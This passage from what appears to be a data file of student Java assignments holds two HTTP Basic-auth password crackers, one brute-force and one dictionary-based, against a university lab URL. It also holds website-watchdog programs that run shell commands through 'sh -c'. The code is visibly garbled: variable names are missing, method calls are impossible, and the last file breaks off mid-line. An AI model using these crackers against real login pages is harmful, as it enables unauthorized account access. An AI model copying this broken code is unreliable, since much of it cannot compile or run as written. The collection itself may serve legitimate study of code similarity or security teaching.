= 1; break; } } if( flag == 0) cop = new Copier(""oldCopy.html""); else { cop = new Copier(""newCopy.html""); try { handleCompare(); } catch( IOException e) { System.out.println(""IOExeption ""+e); e.printStackTrace(); System.exit(0); } } } private void handleCompare() throws IOException { MailClient m; File newFile = new File(""newCopy.html""); File oldFile = new File(""oldCopy.html""); String lineNew, lineOld; LineNumberReader lnrNew, lnrOld; Vector v = new Vector(10); int flag = 0; int comp; lnrNew = new LineNumberReader( new FileReader( newFile)); lnrOld = new LineNumberReader( new FileReader( oldFile)); while(((lineNew = lnrNew.readLine()) != null) && ((lineOld = lnrOld.readLine()) != null)) { comp = lineNew.compareTo( lineOld); if( comp == 0) continue; else { flag = lnrNew.getLineNumber(); v.add( new Integer(flag)); } } if( v.size() != 0) { m = new MailClient(""mail.cs.rmit.edu."", 25 ); v.connect(); } lnrNew.print(); lnrOld.print(); oldFile.delete(); newFile.renameTo(oldFile); } public static void main (String[] args) { Dog pepa = new Dog(); } } " 247.java,"import java.io.*; import java.net.*; public class BruteForce { private String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; private static String password; private static int length; private static int t_counter; private static int f_counter; private static int cases; private static int respCode; public BruteForce() { Authenticator.setDefault(new BruteForceAuthenticator()); t_counter = 0; f_counter = 0; cases = 0; } public static void main (String[] args) { BruteForce bf = new BruteForce(); String file = "" ""; while(respCode != 200) { file = bf.fetchURL(); } System.out.println(""Number of attempts: "" + t_counter); System.out.println(""Password: "" + password); System.out.println(file); } private String fetchURL() { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL(urlString); HttpURLConnection huc = (HttpURLConnection)url.openConnection(); respCode = huc.getResponseCode(); InputStream content = huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println(line); } } catch (IOException e) { pw.println(""Error URL""); } return sw.toString(); } class BruteForceAuthenticator extends Authenticator { private String username = """"; protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(username,generatePassword()); } protected char[] generatePassword() { int i,j,k; int n = 26; String letters1 = ""qwertyuiopasdfghjklzxcvbnm""; String letters2 = ""abcdefghijklmnopqrstuvwxyz""; i=0; j=0; k=0; if(t_counter == 0) { length = 1; cases = 0; f_counter = 0; } if(t_counter == 2*n) { length = 2; cases = 0; f_counter = 0; } if(t_counter == (2*n + 4*n*n)) { length = 3; cases = 0; f_counter = 0; } char c[] = new char[length]; if(length == 1) { if(f_counter == n) { cases++; f_counter = 0; } i = f_counter; } else if(length == 2) { if(f_counter == n*n) { cases++; f_counter = 0; } i = f_counter/n; j = f_counter - i*n; } else if(length == 3) { if(f_counter == n*n*n) { cases++; f_counter = 0; } i = f_counter/(n*n); j = (f_counter - i*n*n)/n; k = f_counter - i*n*n - j*n; } switch(cases) { case 0: c[0] = letters1.charAt(i); if(length > 1) c[1] = letters1.charAt(j); if(length > 2) c[2] = letters1.charAt(k); break; case 1: c[0] = Character.toUpperCase(letters1.charAt(i)); if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j)); if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k)); break; case 2: c[0] = Character.toUpperCase(letters1.charAt(i)); c[1] = letters1.charAt(j); if(length > 2) c[2] = letters1.charAt(k); break; case 3: c[0] = letters1.charAt(i); c[1] = Character.toUpperCase(letters1.charAt(j)); if(length > 2) c[2] = letters1.charAt(k); break; case 4: c[0] = letters1.charAt(i); c[1] = letters1.charAt(j); c[2] = Character.toUpperCase(letters1.charAt(k)); break; case 5: c[0] = Character.toUpperCase(letters1.charAt(i)); c[1] = Character.toUpperCase(letters1.charAt(j)); c[2] = letters1.charAt(k); break; case 6: c[0] = letters1.charAt(i); c[1] = Character.toUpperCase(letters1.charAt(j)); c[2] = Character.toUpperCase(letters1.charAt(k)); break; case 7: c[0] = Character.toUpperCase(letters1.charAt(i)); c[1] = letters1.charAt(j); c[2] = Character.toUpperCase(letters1.charAt(k)); break; default: break; } f_counter++; t_counter++; password = new String(c); return c; } } } " 097.java," public class RunWatchDog{ public static void main(String []args){ WatchDog wd = new WatchDog(); System.out.println(""WatchDog is Starting!""); wd.FirstRead(); wd.print(); } }" 190.java," import java.awt.*; import java.String; import java.util.*; import java.io.*; import java.net.*; public class Dictionary { private URL url; private HttpURLConnection connection ; private int stopTime = 0; private int startTime = 0; private int count = 0; public Dictionary() { System.out.println(""Process is running...""); startTime = System.currentTimeMillis(); findWords(); } public static void main(String args[]) { Dictionary sc = new Dictionary(); } public void findWords() { try { BufferedReader input = new BufferedReader(new FileReader (""words"")); String text; while ((text = input.readLine()) != null) { if ((text.length() == 3) || (text.length() == 2)) { count++; decision(text); } } } catch (IOException io) { System.out.println(""File Error: "" + io.getMessage()); } } public void decision(String s1) { if (find(s1) == 200) { stopTime = System.currentTimeMillis(); runTime = stopTime - startTime; System.out.println(""***************************************""); System.out.println(""\nAttack successfully""); System.out.println(""\nPassword is: "" + s1); System.out.println(""\nThe contents of the Web site: ""); displayContent(s1); System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); System.out.println(""\nNumber of attempts: "" + count); System.out.println(); System.exit(0); } } public int find(String s1) { int responseCode = 0; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); responseCode = connection.getResponseCode(); }catch (Exception e) { System.out.println(e.getMessage()); } return responseCode; } public void displayContent(String pw) { BufferedReader bw = null ; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); InputStream stream = (InputStream)(connection.getContent()); if (stream != null) { InputStreamReader reader = new InputStreamReader (stream); bw = new BufferedReader (reader); String line; while ((line = bw.readLine()) != null) { System.out.println(line); } } } catch (IOException e) { System.out.println(e.getMessage()); } } } " 071.java," import java.io.*; import java.net.*; import java.util.*; import javax.swing.text.html.*; import javax.swing.text.html.parser.*; import javax.swing.text.*; public class WatchDog { private URL url = null; private int time = 0; private ArrayList images = new ArrayList(); public WatchDog(String urlString, int time) { this.time = time; try{ this.url = new URL( urlString ); }catch(MalformedURLException mefu){ System.out.println(mefu.toString()); } } private URLConnection getConnection( ) throws IOException { URLConnection = url.openConnection(); return ; } public ArrayList parse()throws Exception{ HTMLEditorKit.ParserCallback callback = new HTMLEditorKit.ParserCallback (){ public void handleSimpleTag(HTML.Tag t, MutableAttributeSet a, int pos){ if(HTML.Tag.IMG == t){ String image = (String)a.getAttribute(HTML.Attribute.SRC); image = image.trim(); if(image.charAt(0)=='/'){ image= url.getProtocol()+""://""+url.getHost()+(url.getPort()!=-1?"":""+url.getPort():"""")+image; }else if(image.toLowerCase().indexOf(""http"")==-1){ String tmp = """", path = """"; tmp= url.getProtocol()+""://""+url.getHost()+(url.getPort()!=-1?"":""+url.getPort():""""); path = url.getPath(); if(path.lastIndexOf(""/"") > 0) path = path.substring(0,path.lastIndexOf(""/"")+1); image = tmp+path+image; } System.out.println(image); images.add(image); } } }; URLConnection = getConnection(); this.images = new ArrayList(); Reader reader = new InputStreamReader( bf.getInputStream() ); ParserDelegator pd = new ParserDelegator(); pd.parse( reader , callback , true ); return images; } public void executeCommand(String command)throws Exception{ if(command == null) return; String [] command1 = new String[]{""//sh"", ""-c"",command}; Process pc = Runtime.getRuntime().exec(command1); Thread.sleep(5000); } public void append(String fileName, String text) throws Exception { File f = new File(fileName); if(f.exists()){ fileLength = f.length(); RandomAccessFile raf = new RandomAccessFile(f, ""rw""); raf.print(fileLength); raf.writeBytes(text); raf.print(); } else{ throw new FileNotFoundException(); } } public void concatenate(String file1, String file2, String file3)throws Exception{ File f = new File(file3); if(f.exists()) f.delete(); f.createNewFile(); BufferedReader dict = new BufferedReader(new InputStreamReader(new FileInputStream(file1))); String line = """"; { line = dict.readLine(); if(line== null) break; this.append(file3, line+""\n""); } while(line!=null); dict.print(); dict = new BufferedReader(new InputStreamReader(new FileInputStream(file2))); line = """"; { line = dict.readLine(); if(line== null) break; this.append(file3, line+""\n""); } while(line!=null); dict.print(); f = new File(file1); if(f.exists()) f.delete(); f = new File(file2); if(f.exists()) f.delete(); } public getTime(){ return this.time; } public static void main (String[] args) { if(args.length != 3){ System.out.println(""usage: java attacks.WatchDog